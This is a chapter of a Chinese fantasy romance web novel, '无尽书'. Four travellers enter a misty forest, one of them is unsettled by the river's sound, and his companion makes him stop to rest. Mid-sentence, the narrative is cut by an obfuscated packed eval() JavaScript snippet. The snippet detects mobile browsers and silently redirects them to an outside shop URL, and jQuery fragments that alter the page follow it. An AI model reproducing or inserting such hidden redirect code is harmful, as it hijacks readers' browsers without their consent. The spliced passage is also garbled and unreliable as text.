74.前路
作品:《无尽书》 夜色褪尽,天光已明。
林间晨雾如薄纱般缭绕,尚未散尽,帐外空气中弥漫着泥土与草木的清冽气息。远处归川的流水声似乎比夜间更清晰了些,潺潺不绝,衬得这源头之地愈发幽静。
二人前一后从帐中走出。
既云神色舒展,唇角噙着一抹浅笑,目光落在前边昭鹊的背影上。昭鹊则微垂着眼,耳根仍残留着未散的热意,只顾埋头朝着栓马的地方走去,准备去翻点干粮垫一垫肚子。
乌罗儿正蹲在熄灭的篝火边收拾水囊,一抬眼便瞧见既云那副春风拂面的模样,再瞅瞅另一边昭鹊倒还是一如既往地没表情。
他心下生出了莫名的了然,旋即站起身,拍了拍衣摆沾上的草屑,凑近既云,压低声音,语气里带着十足的揶揄:“哟,看这气色,昨夜睡得……挺踏实?”
既云侧头看他,眼底笑意未减,反而更明显了些,顺着他的话道:“是啊,难得一夜无梦,神清气爽。”
他语气自然,仿佛没听出乌罗儿的话里的调侃味道。
乌罗儿被他这坦荡荡的态度噎了一下,撇撇嘴,低声嘀咕:“……以前怎么没瞧出你这么会顺杆爬。”
他摇了摇头,像是想起什么,脸上那点戏谑淡去,换上了些许忧色,“也不知翠微,还有族里如今状况如何了。我们在这头……唉。”
提起族中之事,既云脸上的笑意也收敛了几分。
他抬眼望向四周,这片位于源头树林边缘的地带,草木丰茂,生机盎然,与外界日益严重的枯化景象判若两个世界。可越是这样,越让人牵挂那些在凋零中挣扎的族人们。
沉默在两人之间弥漫了片刻,只有林间的鸟雀偶尔几声清脆的啼鸣。
“事不宜迟,”既云率先打破沉默,声音恢复了平日的沉稳,“收拾一下,我们即刻进林。马匹和大部分行李就留在此处营地,轻装简行。”
乌罗儿闻言,眉头蹙了起来:“进林?说得轻巧,这雾气那么重的,谁知道路在哪个方向?贸然进去,怕不是要绕晕在里面。”
他话音才落下,便见既云的视线已飘向了拿着干粮往回走的青年身上,那眼神里似有暖意悄然流露,纵是已有所掩饰,亦难着其中真切。
他唇角复又勾起,带着点小小的得意,对乌罗儿道:“你自然不知路在何方,不过嘛……”
他刻意顿了顿,直到昭鹊走近,才慢悠悠地接上,“我家里这位知道。”
昭鹊正将一块肉干递向既云,骤然听到这句,手几不可察地顿了一下,随即若无其事地将干粮塞进他手里,别开脸,只留给既云一个泛着微红的耳廓。
乌罗儿被既云那语气和神态激得一阵牙酸,脸上表情扭曲了一瞬,活像生吞了虫子。
他忍了又忍,终究没忍住,翻了个白眼,低声啐道:“我以前竟没瞧出你是这般……这般……”
他“这般”了半天,也没找到合适的词,最终化作一声长叹,认命地去收拾自己的东西了。
既云低笑一声,接过昭鹊递来的干粮,指节有意无意地蹭过对方微凉的手指,感受到那细微的瑟缩,心情愈发得好。
他环顾四周,晨光正努力穿透林间尚存的薄雾,在沾着露水的草叶上投下斑驳的光点。
“走吧。”他收敛笑意,转向乌罗儿问道,“清溪姑娘人呢?方才在帐里还听到声音。”
乌罗儿闻言,脸色顿时不太好看,嘟囔道:“叫她做什么?一大早就给我瞎找茬儿……”
原先清晨天未亮时,二人吵了一架。清溪习惯用竹筒舀取上层清水,乌罗儿却觉得麻烦,直接拿皮囊沉进河里灌满。清溪说他搅浑了水源,乌罗儿反说她矫情,两人便吵了几句。这会儿清溪正独自坐在归川畔的一块青石上,望着水面生闷气。
既云听罢一时无言,心说人家一个姑娘家讲究点也是常事,又是小辈,让着点还能怎么了。
转念一想才忆起乌罗儿的毛病也还没好,只不是这段时日瞧着正常了几分,竟险些忘了这茬。
昭鹊便默默转身朝河边走去。
水面水波粼粼,清溪独自抱着膝盖坐在石头上,听见脚步声便觉面上有些挂不住,敛了神色没回头。
昭鹊猜她这会儿大约也是不想有人过来的,便站着没出声——实际他也说不来什么能安慰小姑娘的好听话,以防弄巧成拙,干脆不说了。
过了片刻,清溪果然自行敛定了心神,从石头上一跃而下:“走吧。”
乌罗儿见她回来,撇撇嘴没说话。
四人很快整顿行装毕,将马匹系于营地,仅带着一些干粮,便踏入了源头树林。
初入林时,雾气比在外围看到的要淡些。参天古木枝繁叶茂,阳光透过缝隙洒下,在铺满落叶草木的地面上投下光影。
空气湿润清新,带着泥土的潮气。脚下小路蜿蜒,他们沿着归川流入树林的主干方向前行,水声在耳畔回荡。
只是越往深处走,那水流声便愈发清晰地传入昭鹊耳中。
他们本就是沿着归川流入树林边缘的主流水道向内部行进,听见水声是再自然不过的事情。然而,于他而言,这水声听着却总有些叫人不舒服。
那声音不循耳入,反而直直地在他脑海间漂浮,带着点儿缥缈空灵的味道,又有点像山间回声,一遍遍回荡,挥之不去。
伴着这异声的,是一阵强过一阵的心悸,虽轻却绵长不断,偏偏心脏的搏动却似还与那声音节奏隐隐相合,生出一种令他不安的共鸣。
他的身躯,竟似不再全然由己掌控,被这无孔不入的水声,连通了什么血脉深处的牵引,隐隐操控着他。
这般感受叫他极不自在,一股失了掌控的烦闷,自心底油然而生。
可矛盾的是,伴着这份不适,昭鹊心里那股莫名的牵连与指引,反倒愈发清晰起来。
冥冥中似有声音相告,此路无误,他们正行在该走的途上,日渐靠近那处他们寻找依旧的源头禁地。
昭鹊抿紧了唇,强压下心头翻涌的不适和那诡异的心悸,脚下步伐未停,反而加快了些,始终在最前头领路。
他微垂着头,让额前些许碎发遮挡住可能泄露状况的神色
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16859752|182802||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
,不愿在这种时候,因为自己的缘故,平添麻烦,扰乱人心。
既云紧跟在他身后一步之遥,注意着周围的环境,同时也分神留意着前边的人。
步伐看似平稳,整个人却绷得紧了。既云视线轻掠过青年微微低垂的后颈,又落在他刻意加快的步速上,不由有些无奈。
这小鬼,又在逞强。
他们在一起的这段时日,既云早将这小孩儿的脾性和脑袋里爱想的事儿摸得明白了。
这会儿一瞧见他那那微僵的身子,又垂着头只顾着一直往前走,分明是身有不适或心有烦扰时才有的模样。
想来又是那诡异感知,或是昨夜残梦未散在作祟,偏他还要一声不吭,独自受着。
既云眉峰已不由自主地蹙了蹙,脚下步幅即刻加快,两三步便移至昭鹊身侧。
未等人反应过来,他已如平常一般伸出手臂,环过昭鹊后腰,将人轻轻往自己身侧一带,稳稳扶住了那许是连本人都没察觉到的轻微踉跄。
“走了有一阵了,歇会儿。”既云的声音压得低,响在昭鹊耳畔,却又不是商量的意思。
温热的气息拂过耳廓,对方的温度自腰间往身上蔓延。昭鹊猝不及防被他揽住,身体先是一僵,随即在那熟悉的气息包围下,又慢慢松懈下来。
他侧过脑袋,对上既云近在咫尺的目光,那眼神里没有责备,只有明晃晃的忧色。
啊,被看穿了。
昭鹊心里掠过这个念头,却没有丝毫被戳破的窘迫。他本就不是那种被发现了还要死撑到底的性子,也清楚乌罗儿和清溪即便知晓了,也不会因此责怪他什么。
他虽不想因为自己的缘故耽误了教程,却也不想叫既云为此担心。
“……嗯。”他于是低低应了一声,任由对方半扶半揽着,停下了脚步。
跟在后面的清溪见前面两人突然停下,还挨得极近说着什么,有些疑惑。乌罗儿却是清楚得很,扬声问道:“怎么了?发现什么了?”
既云回头,神色如常:“无事,走了些路,歇息片刻再往前。”
他目光扫过四周,指了指不远处一棵需数人合抱的参天巨树,“去那边坐吧。”
乌罗儿挑了挑眉,猜了个大致的因果,没再说什么。
树根虬结隆起,形成天然的坐处,浓密的树冠遮蔽了部分天光,投下大片的阴凉。既云扶着昭鹊在一处较为平整的粗壮根茎上坐下,自己则紧挨着他坐下,手臂依旧若有若无地护在他身侧。
昭鹊靠着身后粗糙的树皮,微微阖眼,试图平复脑海中那挥之不去的水声和依旧有些隐隐作痛的心悸。既云的手在他背后轻轻拍抚着,还挺舒服。
他确实需要这片刻的喘息。
乌罗儿解下水囊递给清溪,试图缓解方才在林外的隔阂,随口抱怨道:“这林子看着不大,走起来还挺费劲,安安静静的,连个鸟叫都少。”
清溪打定主意回去要找姐姐告状了,如今破罐子破摔,连个面上的好脸色也不想给乌罗儿了。她便白了他一眼,只接过了水囊,却没接他的话。

